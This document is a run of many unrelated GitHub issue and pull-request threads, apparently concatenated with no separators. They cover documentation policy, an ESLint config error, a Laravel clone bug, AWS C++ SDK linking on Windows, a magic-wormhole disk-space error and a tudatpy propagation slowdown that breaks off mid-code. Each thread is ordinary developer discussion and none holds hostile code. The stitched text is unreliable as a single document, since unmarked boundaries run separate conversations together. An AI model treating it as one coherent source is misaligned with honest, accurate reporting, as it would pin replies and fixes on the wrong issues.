"I think the backport case is rare because new features should never be backported (only bug fixes) unless there is very good reason to"

I agree, but historically that hasn't been true. Backports happen - not directly into a release, but into the release candidate branches.

"The user-facing documentation should be developed last IMO, after the code is complete and using the blueprint as a reference, because if you write documentation first, you will have to constantly change the documentation as well as the code while working on the new feature."

These are all good points. But the way the repository is set up, we put 1 feature in 1 PR and 1 PR becomes 1 commit. Not including the documentation violates that, because it is part of the feature. I think it'd be neat to use milestones to track the commits that go into a feature and the progress towards its completion, but that's not possible for contributors (without doing what rob05c said and have a committer set it up). When an RC4 is made, nobody is going to look at all the PRs they cherry-pick to see if they reference others and resolve all of that - I think a milestone would make it easier to tell at a glance what went where - and that means docs will get left behind.

We should leave it up to the contributor to decide how they would like to contribute documentation and should be happy with any documentation contributed at all. Undocumented features aren't ideal, but discouraging contributors from contributing anything at all by raising the bar too high is way less ideal IMO. If the contributor doesn't feel comfortable updating the docs for whatever reason, someone else should take that on if necessary. The more options a contributor has and the easier it is to do, the more likely they will be happy to write the documentation.
How about instead of declaring that such and such needs to be documented, we simply point them to the existing documentation that should be updated (so they don't need to go find it themselves), and leave it up to them to contribute however they like.

Here are the things I like:

small PRs
complete PRs

trying to decide which I like more :)
but I think at the end of the day, I do think this project suffers from poor test coverage and undocumented/poorly documented features and I am guilty of both of these. Since our PR template has this checklist in it:

I understand that to mean that the PR will not be reviewed until all the checkmarks are checked and if documentation is required, then it should be included with the PR. same with tests, if tests make sense, they should be included. otherwise, like @rob05c said, it just won't get done.
it raises the bar to contribute but at the same time it raises the quality bar of the project.
of course, that checklist is just a guideline and if you can convince the reviewer to overlook documentation for now because you PROMISE to have it done/merged before the next open source release, that's between you and the reviewer imo.

@ocket8888 I did not mean to push those three files at all - I believe I just managed to undo that


Rename bootstrap -> setup

The convention in the Ruby community is to use ./bin/setup for "bootstrap" like scripts.

Verbal 👍  received from @blankenshipz.


How to prepare dataset

I download the DOTA v1.5 ，How should the data preprocessing be done? Whether the image is transmitted to the network is the original image or the cut image.
Error: [Errno 2] No such file or directory:'/app/data/dota_1_split/train1024/DOTA1_train1024.json'
What is this json file, is it automatically generated in your code or I need to write code to generate this json file

Hey, the DOTA dataset first needs to be prepared (split into image patches) which includes the automatic generation of the mentioned JSON file. This functionality is provided by the official DOTA_devkit. To make things easier, I've added a https://github.com/steven-lang/DAFNe/tree/master/tools/prepare_dota directory with instructions and a custom script on how to prepare the datasets (1.0/1.5).
Let me know if this helps or you run into any issues.


Configuration for rule "jsx-a11y/label-has-for" is invalid: Value "label" should be object.

c:\Users\realtebo\Downloads\manager\node_modules\eslint-config-rallycoding\rules\react-a11y.js: Configuration for rule "jsx-a11y/label-has-for" is invalid: Value "label" should be object.

Referenced from: c:\Users\realtebo\Downloads\manager\node_modules\eslint-config-rallycoding\index.js
Referenced from: c:\Users\realtebo\Downloads\manager\.eslintrc

My acutal package.json
  "devDependencies": {
    "eslint": "4.9.0",
    "eslint-config-rallycoding": "^3.2.0",
    "eslint-plugin-import": "2.7.0",
    "eslint-plugin-jsx-a11y": "6.0.2",
    "eslint-plugin-react": "7.4.0",

What's in your .eslintrc?

I simple extended eslint-rallycoding

It looks like rallycoding is a fork of Airbnb’s config; it’s only recently that airbnb’s config supports v6 of this plugin. I’d file the issue there.

Thanks. While waiting, I manually rollbacked to an older version.

I'm having the same problem. How do I manually rollback?

I have the same problem. How do I rollback to an older version?

Hi All,
I got the same issue and I'm trying to debug it, I'm not a JS expert nor Atom but these are my findings.
It seems to me the if statement continues with the null value, what am I missing?
Please look at the picture
https://ibb.co/hFGbac


[8.45.1] Cloned PendingRequest raises a "($request) must be of type Illuminate\Http\Client\Request, null given" error

Laravel Version: 8.45.1
PHP Version: 8.x
Database Driver & Version:
Guzzle version: 7.3.0

Description:
I notice that after to upgrade to 8.45.1 an error is raised when I attempt to perform a request in a cloned PendingRequest instance. I observed that this error is not raised with version 8.44.0.
The error raised is:
TypeError: Illuminate\Http\Client\Events\ResponseReceived::__construct(): Argument #1 ($request) must be of type Illuminate\Http\Client\Request, null given, called in /home/vagrant/foobar/code/vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php on line 989
The error is raised when the method "dispatchResponseReceivedEvent" is called and I observed that "$this->request" is null.
Steps To Reproduce:

Upgrade to Laravel 8.45.1
Run the following code (for example into Tinker):

$client = \Http::timeout(10);
$newClient = clone $client;
$newClient->get('https://google.com');

I supect that this bug was introduced in https://github.com/laravel/framework/commit/065e130a0437423c3279a4aad9e3d32ea70a16f3

ping @lukeraymonddowning

This is caused by the beforeSendingCallbacks still viewing $this as the old object rather than the cloned object. Looking into a fix for it now.

Fixed in #37596


multi-document error triggered incorrectly

If the first non-comment line of a file does not contain a :, it will incorrectly trigger the multi-document error.

Including whitespace?

@vtbassmatt No, whitespace doesn't trigger it.

I can't think of any cases where it's valid to have a non-comment first line that doesn't contain a :. I assume this is actually a fix in the language server/service, not the extension.

It's not valid.  But the validation should generate a specific error about that instead of highlighting the entire file and complaining about multi-document files being invalid.
Yes, the fix will be in the language service.  We've been tracking all the bugs here instead of splitting them up.

Fixed in https://github.com/microsoft/azure-pipelines-vscode/releases/tag/v1.155.0


Frontend: Fixed productDetails component Image bug

Description
This PR is fixing product details component's image rendering problem
Fixes #10
How to test?
Can be tested with npm run dev
Checklist

[X] I have performed a self-review of my own code
[X] I have followed the name conventions for CSS Classnames and filenames, Components names and filenames, Style filenames, if you are in doubt check the the project README.MD and here https://github.com/HackYourFuture-CPH/curriculum/blob/master/review/review-checklist.md
[X] I have commented my code, particularly in hard-to-understand areas, if you code was simple enough mark the box anyway
[X] I have made corresponding changes to the documentation, if you code was simple enough mark the box anyway
[X] This PR is ready to be merged and not breaking any other functionality

Hi Semih, product image is loading on local machine. I checked it

Hi Semih, product image is loading on local machine. I checked it

Working as it should ...Good job Semih


unrelated_type_equality_checks lint is overly aggressive with generics

bool test1<A, B>(A a, B b) {
  return a == b; // no lint
}

class X<T> {
  X(this.value);
  final T value;
  @override
  bool operator ==(dynamic other) {
    if (other is! X)
      return false;
    return value == (other as X<dynamic>).value;
  }
  @override
  int get hashCode => value.hashCode;
}

bool test2<A, B>(X<A> a, X<B> b) {
  return a == b; // lint
}

void main() {
  print(test1<int, int>(1, 1));
  print(test2<int, int>(new X<int>(1), new X<int>(1)));
  print(test1<int, String>(1, '1'));
  print(test2<int, String>(new X<int>(1), new X<String>('1')));
}

For some reason, test1 doesn't give a lint, but test2 gives an unrelated_type_equality_checks lint. That's weird to me since the types in test2 are potentially more closely related than those in test1...

@alexeieleusis

Fix landed; will be in the next linter release.


Need help to fix Douyutv

Im new to this and i don't know how to fix this

some one please help me :(

use this plugin
https://github.com/mittya/livestreamer/blob/4dd566a7a9b84d90c1d6ce329ef562da51b23755/src/livestreamer/plugins/douyu.py


different colors for C_ in 4dm file in declaration

If see different color for  if there variable
C_TEXT
C_TEXT()
C_TEXT:C123()
C_TEXT:C123($a)

C_OBJECT()
C_OBJECT:C1216()
C_OBJECT:C1216("")
C_OBJECT:C1216($o)
C_OBJECT:C1216($o;$o1;$o2;$ob)

C_COLLECTION
C_COLLECTION($test;"")
C_COLLECTION:C123()

https://github.com/vdelachaux/classes/blob/49eafd112fc92f5d9748c8af7a23d4e2d2145384/Project/Sources/Methods/test_ob.4dm#L4

C_TEXT:C284($t)
C_OBJECT:C1216($o;$o1;$o2;$ob)
C_COLLECTION:C1488($c)

Also C_VARIANT maybe never colorized

Please reinstall extension and test. the fix was shipped in<EMAIL_ADDRESS>


Chefspec fails when memcached is included as a dependency

Recipe Compile Error in /var/folders/7z/20ps8xf523v4n_1_03w4znyr0000gn/T/d20160118-8752-n1lw2d/cookbooks/memcached/resources/instance.rb
================================================================================

NoMethodError
-------------
undefined method `action' for #<Class:0x007fcd0aeaa5b8> action provider

Cookbook Trace:
---------------
  /var/folders/7z/20ps8xf523v4n_1_03w4znyr0000gn/T/d20160118-8752-n1lw2d/cookbooks/memcached/resources/instance.rb:33:in `class_from_file'

Relevant File Content:
----------------------
/var/folders/7z/20ps8xf523v4n_1_03w4znyr0000gn/T/d20160118-8752-n1lw2d/cookbooks/memcached/resources/instance.rb:

 26:  property :user, String, default: nil
 27:  property :threads, [Integer, String], default: nil
 28:  property :max_object_size, String, default: '1m'
 29:  property :experimental_options, Array, default: []
 30:  property :ulimit, [Integer, String], default: nil
 31:  property :template_cookbook, String, default: 'memcached'
 32:
 33>> action :create do
 34:    include_recipe 'runit'
 35:    include_recipe 'memcached::package'
 36:
 37:    runit_service instance_name do
 38:      run_template_name 'memcached'
 39:      default_logger true
 40:      cookbook template_cookbook
 41:      options(
 42:        memory:  memory,

F

What version of chefspec are you running?

4.5.0

What version of chef-client?

What version of chef-client is on the host where you're running chefspec?

Chef: 12.6.0```

This should be fixed on master with the new matchers


Add proto validator into istio/api and istio/istio

Using https://github.com/lyft/protoc-gen-validate
In progress testing their validator, opened issue: https://github.com/lyft/protoc-gen-validate/issues/56

Would be wonderful if you can help out with https://github.com/lyft/protoc-gen-validate/issues/52

This is obsolete, now that we're considering Cue.


[Feature request] Performance tests

It would be nice to compare the performance of tempest with most and xstream. Could this project provide some way to make perf benchmarks for different operators / use cases? These benchmarks would also be useful for (perf) regression.

Hey @milankinen, I've added this to my list of things to do in #1 :)


CoffeeScript syntax hightlighting of the word "class" is incorrect

VSCode Version: Code 1.17.2 (b813d12980308015bcd2b3a2f6efa5c810c33ba5, 2017-10-16T13:59:48.528Z)
OS Version: Windows_NT ia32 10.0.15063
Extensions:

Extension
Author (truncated)
Version

vscode-caniuse
aka
0.5.3

Bookmarks
ale
0.17.0

project-manager
ale
0.22.0

vscode-custom-css
be5
2.5.0

markdown-preview-github-styles
bie
0.1.0

npm-intellisense
chr
1.3.0

path-intellisense
chr
1.4.2

gitignore
cod
0.5.0

vscode-eslint
dba
1.4.0

vscode-coffeescript-snippets
din
0.0.2

gitlens
eam
5.7.1

EditorConfig
Edi
0.11.1

vscode-nginx-conf-hint
han
0.0.4

beautify
Hoo
1.1.1

docthis
joe
0.5.0

svgpreview
kis
0.2.0

coffeelinter
lky
1.1.0

vscode-less
mrm
0.6.3

debugger-for-chrome
msj
3.4.0

live-server-preview
neg
0.0.4

material-icon-theme
PKi
2.2.3

vscode-paste-and-indent
Rub
0.0.8

code-settings-sync
Sha
2.8.3

vscode-nginx
sha
0.4.1

stylelint
shi
0.30.0

open-in-browser
tec
1.1.0

code-navigation
vik
0.2.0

highlight-matching-tag
vin
0.4.4

JavaScriptSnippets
xab
1.5.0

markdown-all-in-one
yzh
0.11.0

When a class name contains "class" in its beginning, syntax hightlighting of it is broken.
For example:

Steps to Reproduce:

Open/create a CoffeeScript file;
Write new + a class name that have "class" in its name + any parameter.

This way, "class*" will appear as if were the reserved word class, but it isn't.
Reproduces without extensions: Yes

In VS Code we use the syntaxes from Atom. Please create an issue there. I've tested, in Atom is of course the same behaviour.

This issue was moved to atom/language-coffee-script#161


Requesting for changelog

Is it possible for you to maintain a changelog?
It would help us users to see what is fixed, what was added etc.
Thanks

Yeah, can do that but since this is just a theme and the changes are mostly about colors (and also relative subtle), I don't feel it's worth to take too much effort on maintaining the changelog for it. As the changelog can't properly reflect the color changes either, the best way for this might be just look at the commits and diff. Thanks for bringing this up.


Add PulseChain network

✅ Checklist

[x] npx changeset was attached.
[x] Covered by automatic tests.

📝 Description
Adds support for the PulseChain network.
Testing
I've tested this PR with https://github.com/LedgerHQ/app-ethereum/pull/626 installed on:

Ledger Stax
Nano S Plus

Dependencies
This PR requires the changes introduced in LedgerHQ/app-ethereum#626.

🧐 Checklist for the PR Reviewers

The code aligns with the requirements described in the linked JIRA or GitHub issue.
The PR description clearly documents the changes made and explains any technical trade-offs or design decisions.
There are no undocumented trade-offs, technical debt, or maintainability issues.
The PR has been tested thoroughly, and any potential edge cases have been considered and handled.
Any new dependencies have been justified and documented.
Performance considerations have been taken into account. (changes have been profiled or benchmarked if necessary)

I'm not able to see PulseChain app in the App catalog:

I have installed https://github.com/LedgerHQ/app-ethereum/pull/626, and it seems to work correctly when viewing and signing messages.
Is there an additional step I need to take to add the PulseChain app, like the Binance Smart Chain (BNB) app?

I removed myself as the assigned person in case this gets passed over due to being assigned.

@jnicoulaud-ledger I'm checking in to see the internal status of the PR. Is there something more I can do or another dev that can review this? Also, https://github.com/LedgerHQ/app-ethereum/pull/626 needs review.

Hi @bretep ! Thanks a lot for the PR !
So to answer your first comment, you won't be seeing a PulseChain app in the Catalog, as we've deprecated this method of creating what we called "clones" of the Ethereum app with hardcoded chain ids. Now everything is done using the Ethereum app as long as you're EVM compatible.
For everything else (appearing in Ledger Live portfolio, adding tokens etc...), unfortunately you'll need to go through a process with our product department in order to get an approval first and be integrated in our roadmap. Sorry for the heavy process, but with the quantity of new chains we have to integrate, it became mandatory for us not to implode internally 😞
Please join the Ledger Discord and ask about it there: https://discord.com/invite/ledger

Hi @bretep, the correct channel is: #blockchain-foundation

Why was this closed?


[SPARK-42720][PS][SQL] Uses expression for distributed-sequence default index instead of plan

What changes were proposed in this pull request?
This PR replaces DataFrame.withSequenceColumn to DataFrame.select(distributed_sequence_column, col("*") internally because this essentially attaches a column and it should be treated as a scalar expression at the logical level.
This is used to generate the unique index only for pandas API on Spark.
Why are the changes needed?
For better readability of codes, and for cleaner definition of Spark Connect protobuf message, see also https://github.com/apache/spark/pull/40270.
Does this PR introduce any user-facing change?
No, it's internal change only.
How was this patch tested?
Existing test cases in pandas API on Spark verify this change.

cc @cloud-fan @hvanhovell FYI

BTW, according to the JIRA, this is only for Apache Spark 3.5?

Merged to master.


Fix PipelineResources link

The stray backtick prevented the link from rendering.

/kind documentation
/ok-to-test

Thank you for the fix and welcome.

Thank you for the fix and welcome.

thanks @plumpy !
/lgtm


python311Packages.openllm-core: 0.4.22 -> 0.4.41

Description of changes
opening this for discussing purposes for now. I just want to see what failure it causes.
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 276308 run on x86_64-linux 1

4 packages failed to build:

python310Packages.openllm
python310Packages.openllm.dist
python311Packages.openllm
python311Packages.openllm.dist

8 packages built:

python310Packages.openllm-client
python310Packages.openllm-client.dist
python310Packages.openllm-core
python310Packages.openllm-core.dist
python311Packages.openllm-client
python311Packages.openllm-client.dist
python311Packages.openllm-core
python311Packages.openllm-core.dist

@natsukium the failure seems to be because of bitsandbytes, do you think we should wait for bitsandbytes to be fixed before making any update to openllm ?

I don't think we need to wait for bitsandbytes. This bump itself seems fine.

just for information, I've had a look at the bitsandbyte fix and it seems it's failing on not finding ptxas which is a part of cuda. Since by default the package builds for cpu only, I wasn't sure exactly what the fix would be.


Non-cumulative nplot should count occurrences between xscale events

We could let xscale determine the intervals within which to count the occurances of the plotted expression. For example, to count the number of behaviors B during each trial (xscale: trial), do
xscale: trial
@nplot B

In the resulting plot, the value at x=5 will show the number of B during trial 5 (i.e. between the fourth and fifth occurance of "trial" in the history). Note that cumulative should still work.
Moreover, in the previous version it was possible to do
nplot expr1 expr2

and the plotted result is expr1/expr2. Either fix this more generally in #34 or reintroduce the above syntax.

Perhaps expr2 is unnecessary. We could let xscale determine the second expression. Moreover, it is more useful if the second expression determines the intervals within which to count the occurances of the first. For example, to count the number of behaviors B during each trial (xscale: trial), do
xscale: trial
@nplot B

In the resulting plot, the value at x=5 will show the number of B during trial 5. Note that cumulative should still work.

Fixed a long time ago.


populate environment from _.env_file specified in pyproject.toml

Pdm allows to set default environment file for all scripts: https://pdm.fming.dev/latest/usage/scripts/#shared-settings
[tool.pdm.scripts]
_.env_file = ".env"

But currently pdm shell does not honor this setting. it would be very convenient if  pdm shell populated the shell environment with given env file.

For now, i have to manually do this with the command: set -a; . .env set +a

Good idea!

Can this PR be merged now?


feature: date literal suppose Zone (#33534)

Proposed changes
pick (#33534)

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


Publish package as scrapy-splash on PyPI

Replacing scrapyjs
Repository was already renamed.

@redapple I've released scrapyjs 0.2 in order to have a 'stable' release which is unlikely to break anything. I think it makes sense to rename project to scrapy-splash (and package to scrapy_splash?) after https://github.com/scrapy-plugins/scrapy-splash/pull/45 merge - these changes are much more risky, so that's good users won't be upgraded automatically.

Done!


feat: esm

What is the purpose of this pull request? (put an "X" next to item)

[x] Documentation update
[ ] Bug fix
[x] New feature
[ ] Other, please explain:

What changes did you make? (Give an overview)

chore: update docs and package description
refactor: switch to esm imports and exports

Which issue (if any) does this pull request address?

https://github.com/webtorrent/webtorrent/issues/2177

Is there anything you'd like reviewers to focus on?

Nice one, I had ended up making my own fork because I needed ESM support.
Would you consider adding a types file for Typescript? I think one of the biggest problems is the current types never worked for me in Typescript.
This is my types file: https://github.com/ckcr4lyf/bencode-esm/blob/6b9256a519753252bce44ac568b5adbc255c919c/lib/index.d.ts (to import ad named default - https://github.com/ckcr4lyf/qbit-race/blob/2e56bda3372ed022effcb1114fab24f74304c926/src/helpers/torrent.ts#L1)

no, this is ESM, make you own PR

force pushed because Semantic Pull Request is trolling


notification button problems

When I click the bell button nothing comes out

I believe this happens on mobile, correct?


Cleanup: configuration.test has assertions that make no sense

Lots of usages of expect.anything without calling it as a function (it should be expect.anything())
e.g.
expect(config).toEqual(
	expect.not.objectContaining({ durable_objects: expect.anything })
);

normalizeAndValidateConfig actually doesn't strip invalid config lines from the returned object, so either it needs to start doing this, or these expectation lines need to be dropped.
I think everything seems ok right now because if there are any errors, the process exits and the config is never used. But this should be fixed.

Is this (and https://github.com/cloudflare/wrangler2/issues/1923) something that you are going to look at, or should dev prod pick this up @geelen ?


⚠ Bofrost.lu has degraded performance

In 784bac3, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1717 ms

Resolved: Bofrost.lu performance has improved in d8d2ac1 after 25 minutes.


[Bug Report] Cursor page is empty

The cursor page is empty, since you specified in the mod.ini that it had the full list of cursors when it only had the first 3, instead of all 5.

Hmm...... In the mod.ini, it looked like this
`//Cursors
FullListOfCursors=true`
So, what line I should add to the .ini file?

Well has a temporary fix set that to false

Hmmm... Okay...
To get another cursors, for now you can only do it manually, with changing any cursor's filename that you want to cursor.png and rename the original cursor.png to anything else. I will release a fix for this.

Okay, so.... This issue isn't really an 'issue'
Let me explain this.
If I set the FullListOfCursors= parameter to true, it will show all available cursors (5 cursors), but if I set to false, it will only show up to 3 cursors. The bug that reproduced by @setapdede is normal as I've only 3 cursors, not 5, so it will be broken.
So, the problem is solved.


More parameter 1 codes?

The article says that parameter 1 identifies the exact violation, but only codes 0x1 - 0x4 are listed.  I have run into a bugcheck 0x119 with parameter 1 set to 0x400.  What does this code mean?  I believe it could be related to our video driver, but the lack of documentation on this value doesn't really give me any leads.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7917857b-97bc-efec-67ab-5e3af061524c
Version Independent ID: 8c00d20e-9b21-7bb0-a041-220aca9d2487
Content: Bug Check 0x119 VIDEO_SCHEDULER_INTERNAL_ERROR - Windows drivers
Content Source: windows-driver-docs-pr/debugger/bug-check-0x119---video-scheduler-internal-error.md
Product: windows-hardware
Technology: windows-devices
GitHub Login: @DOMARS
Microsoft Alias: domars

I just got this with parameter 1 set to the value 5.

@englishb - I added a description for the 0x400 parameter. Thank for this issue and your interest in the debugger stop code documentation for driver developers.


NullPointerException if snapPoints is not provided [Android]

Hi there. I'm attempting to build some interactive UI with this library that does not require any "snapping" behaviour. I set up a basic start on iOS, which worked great:
<Interactable.View
  frictionAreas={[{ damping: 0.9 }]}
  boundaries={{
    bounce: 0.2,
    top: this.topBoundary,
    bottom: this.bottomBoundary,
    left: this.leftBoundary,
    right: this.rightBoundary,
  }}
>
  <Image
    source={{ uri: this.props.uri }}
    style={this.imageStyles}
  />
</Interactable.View>

Then I booted this on an Android (8.0.0) device, and immediately saw a crash on the handleEndOfDrag event:
java.lang.NullPointerException: Attempt to read from field 'java.lang.String com.wix.interactable.InteractablePoint.id' on a null object reference
    at com.wix.interactable.InteractableView.handleEndOfDrag(InteractableView.java:313)
    at com.wix.interactable.InteractableView.handleTouch(InteractableView.java:261)
    at com.wix.interactable.InteractableView.onTouchEvent(InteractableView.java:232)

After a lot of playing around, I've found that if I add snapPoints, this crash does not occur. I specifically do not want snapPoints, though.
Maybe someone who is familiar with the codebase can understand what's going on quite simply?
Update: Yeah, looks like there is a direct reference to snapPoints here:
https://github.com/wix/react-native-interactable/blob/master/lib/android/src/main/java/com/wix/interactable/InteractableView.java#L312
Temporary fix:
snapPoints={[{ x: 0, tension: 0 }]}

Hi,
thank you for your feedback. A PR for this issue is already opened and should be merged soon:
https://github.com/wix/react-native-interactable/pull/196/files#diff-98bccd77c92c98327f12ba3fa7b8115c

Ah, great to hear. I'll close this issue, then.


Error Linking in visual Studio 2013

Whenever I try linking my project with aws-cpp-sdk-core.lib and
aws-cpp-sdk-s3.lib  I get this error
-error LNK2001: unresolved external symbol "char const * const Aws::Http::CONTENT_TYPE_HEADER" (?CONTENT_TYPE_HEADER@Http@Aws@@3PEBDEB)
I have seen that some people also had this problem, but I did not get any good reply.
can someone please help.

Have you tried using the AWSSDKCPP-S3 package from NuGet?
On Thu, Jun 30, 2016 at 7:08 AM, TechBeings<EMAIL_ADDRESS>wrote:

Whenever I try linking my project with aws-cpp-sdk-core.lib and
aws-cpp-sdk-s3.lib I get this error
-error LNK2001: unresolved external symbol "char const * const
Aws::Http::CONTENT_TYPE_HEADER" (?CONTENT_TYPE_HEADER@Http@Aws@@3PEBDEB)
I have seen that some people also had this problem, but I did not get any
good reply.
can someone please help.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/aws/aws-sdk-cpp/issues/222, or mute the thread
https://github.com/notifications/unsubscribe/ADvpxTw5XVuxEFYTY4NTk0D2o0H-Pv42ks5qQ83CgaJpZM4JCMnC
.

--
"The poet only asks to get his head into the heavens. It is the logician
who seeks to get the heavens into his head. And it is his head that splits"
--G. K. Chesterton-- "Orthodoxy"

Did you have any chance to try the NuGet package?

I tried it for a while  yesterday but I got all this other errors. I am planning on trying it again this weekend intensively ,I might be doing something wrong I will let you know if it works

I have tried it now and it still gives me the same error as  before whenever I add
GetObjectRequest getObjectRequest;
I have sent you an Email with the sample project I am testing with, would you please look at it and let me know what I am doing wrong.
Thanks.

Hi,
Jonathan forwarded me the google drive link and I requested access.  I'll look at the issue as soon as I can download it.

So I just worked through some issues on your project.  I was able to repeat your problem locally and here's what I did to resolve it:
In order to use the AWS libraries as DLLs, you need to define the USE_IMPORT_EXPORT (yes, that name is not the best) symbol so that all of the AWS_*_API macros in header files resolve to dllimports.  Once you add this definition, your project builds.  I did not try running it.
Additionally, I noticed that you are linking the c runtime to your project statically, but all of the AWS libraries link it in dynamically.  If you switch to linking the runtime in dynamically (C/C++ -> Code Generation -> Runtime Library -> Multi-threaded Debug DLL) then some additional warnings about standard library base class exports disappear as well.

After some additional investigation with Jonathan, while the above is correct and will fix your problem, it appears the real issue is that your project's nuget integration is messed up.
If you use nuget to get AWS libraries you should not have to (1) add the library path to the linker settings, (2) specify the library in the linker input, or (3) define USE_IMPORT_EXPORT because using nuget should do all of this for you invisibly.  In particular, if things are integrated properly, you can just use (Project settings -> Configuration Properties -> Referenced Packages) to switch between dynamic and static linking.  However, Referenced Packages does not show up in your project in its current state.  So if you want to fix things properly:
Remove the USE_IMPORT_EXPORT definition that I advised you about above.
Remove the library directories for core and s3 from the linker properties
Remove core and s3 from the linker inputs
From Manage nuget packages, uninstall core and S3
From Manage nuget packages, install core and s3
You should now be able to use (Project settings -> Configuration Properties -> Referenced Packages) and from there, switch between dynamic and static linking.
One final note: we just discovered an issue with our static nuget packages where they're being linked dynamically against the crt, but nuget is flagging consumers of them to link statically against the crt.  This causes all sorts of linking errors.  After some debate (between linking statically against the crt or telling nuget to have consumers link dynamically), we've decided to have the static AWS libraries link statically against the CRT.  These corrected packages should show up later today.  Until then, you may not be able to successfully link statically against the nuget packages.

Thank you for looking into it now my project builds with no errors using nuget packages.
I now have a new problem, I always hit an  exception  in line 136 of HttpClientFactory.cpp
as soon as I try to initialize S3Client ,I expected it to use default http client.
I did try to put "ENABLE_WINDOWS_CLIENT" in the Prepocessor but this does not seem to help.
The source code that I am using  is running with no problems in my Mac this only happens in Windows.
Can anyone help me fix this.

Are you calling AWS::InitApi() before trying to create your s3 client?
Sent from my iPhone

On Jul 7, 2016, at 7:44 AM, TechBeings<EMAIL_ADDRESS>wrote:
Thank you for looking into it now my project builds with no errors using nuget packages.
I now have a new problem, I always hit an exception in line 136 of HttpClientFactory.cpp
as soon as I try to initialize S3Client ,I expected it to use default http client.
I did try to put "ENABLE_WINDOWS_CLIENT" in the Prepocessor but this does not seem to help.
The source code that I am using is running with no problems in my Mac this only happens in Windows.
Can anyone help me fix this.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

That fixed it sorry I had not seen this blog
https://aws.amazon.com/de/blogs/developer/
very helpful thanks.

I have the same issue. It is not clear to me what you mean by
Project settings -> Configuration Properties -> Referenced Packages
I am using visual studio 2015. Going to Properties -> Configuration Properties I have no idea how to get to Referenced Packages. I have the sdks in nuget for this particular project.
Cheers


Hooking addNotification

I want to make a notification that would inform the user with an activity indicator when that application is loading data. When the data is done loading, presenting a success notification would automatically dismiss all notifications with the "loading" identifier.
I'm thinking the best way to go about this would be to subclass CRToastManager; but CRToastManager only exposes class methods. Would it be a good idea to implementing a subclassing design similar to UIGestureRecognizer–where there is a Subclass header which declares the "protected" methods?

So I've been thinking about this some and I'm not sure a subclassing pattern like that used in UIGestureRecognizer makes sense. With gesture recognizers you usually have multiple since there are multiple types of gestures that can be done and different contexts for each gesture. I'm not sure the same pattern applies to something like a toast notification manager.
As it stands right now, in master you can set notification identifiers and dismiss all notifications with an identifier. You could create an intermediate layer in between what your class calls and CRToast so that when you send a success notification it automatically dismisses all loading notifications.
For example,
@implementation ToastManager: NSObject {
+ (void)showSuccessNotification(message: String) {
    [CRToastManager<EMAIL_ADDRESS>animated:YES];
    [CRToastManager showNotificationWithMessage:@"Loaded!"];
}
@end
``` (just kind of typed that in so there are probably typos/syntax errors)

Yes, that solution work out alright.


Robustel Blog Art Request

Related Issue
No response
Description
Considerations:

Where will the image be displayed/shared, product? blog post? social media? presentation? website?

Inspirations:

Can we make a blog similar to the IoT 2050 artwork for robustel eg5120.
Site Documentation

[ ] Title

You mean this one, right?

What would be the title?
"Run FlowFuse on Robustel EG5120"?

@Yndira-E Yes

Does the Node-RED logo make sense here?

@gdziuba Can you reply to ^?

@gdziuba This item seems to be overdue about 10 days, can you post an update here?

Yes.  I prioritized another blog over this one.  I believe it was the hannover messe post.


Error: No space left on device

When running wormhole send <file>, I get the following error.
ERROR: We had a problem connecting to the relay server:
(relay URL was ws://relay.magic-wormhole.io:4000/v1)
connection was closed uncleanly (WebSocket connection upgrade failed (500 - Internalservererror [Errno28]Nospaceleftondevice))

Not sure if this is the fix, but I was having the same issue until I switched my cmd's directory. Worked fine after one switch and even worked when back in the default directory. Again, not positive that is what fixed it but it might be worth trying.

I think the issue is solved now! Anyways I will leave this open in case it's of some use/reference for the collaborators!

It is happening again, three separate devices on different part of the internet report the same:
ERROR: We had a problem connecting to the relay server:
(relay URL was ws://relay.magic-wormhole.io:4000/v1)
connection was closed uncleanly (WebSocket connection upgrade failed (500 - Internalservererror:[Errno28]Nospaceleftondevice))

Same thing over here ^^


Very slow (factor 10000) propagation for spacecraft with mass and custom state

Hi! When propagating a spacecraft with custom_state and mass propagators, it takes forever (~200 seconds for rkdp_89 with $abs=rel=10^{-10}$, but comparable for other options, too) when doing it through tudatpy directly (using a SingleArcSimulator). When using the exact same integrator manually, i.e.
std::shared_ptr<tni::NumericalIntegrator<double, Eigen::Vector14d>> integrator
        = tni::createIntegrator(stateDerivativeFunction, initialState, integratorSettings->initialTimeDeprecated_, integratorSettings);

std::vector<Eigen::Vector15d> stateHistory;

double currentTime = integratorSettings->initialTimeDeprecated_;
double timeStep = integratorSettings->initialTimeStep_;
Eigen::Vector15d currentState;
currentState << currentTime, initialState;
stateHistory.push_back(currentState);

unsigned int counter = 0;
while (currentTime < finalTime && counter++ < maxSteps) {
    currentState.tail<14>() = integrator->performIntegrationStep(timeStep);
    currentTime = currentState[0] = integrator->getCurrentIndependentVariable();
    timeStep = integrator->getNextStepSize();

    stateHistory.push_back(currentState);
}

where the state-derivative represents the fullstate vector (i.e., state, mass, custom state) it takes about 0.02s (a factor 10,000 difference).
Here's an example of what my code looks like. This is not a minimal working example, but should give an idea of how I invoke the integration. Please let me know if anything is unclear (DynamicsSimulator, Spacecraft, constants, and a number of other classes, constants, and function are locally imported which is not shown here):
from typing import Optional, Type

import numpy as np
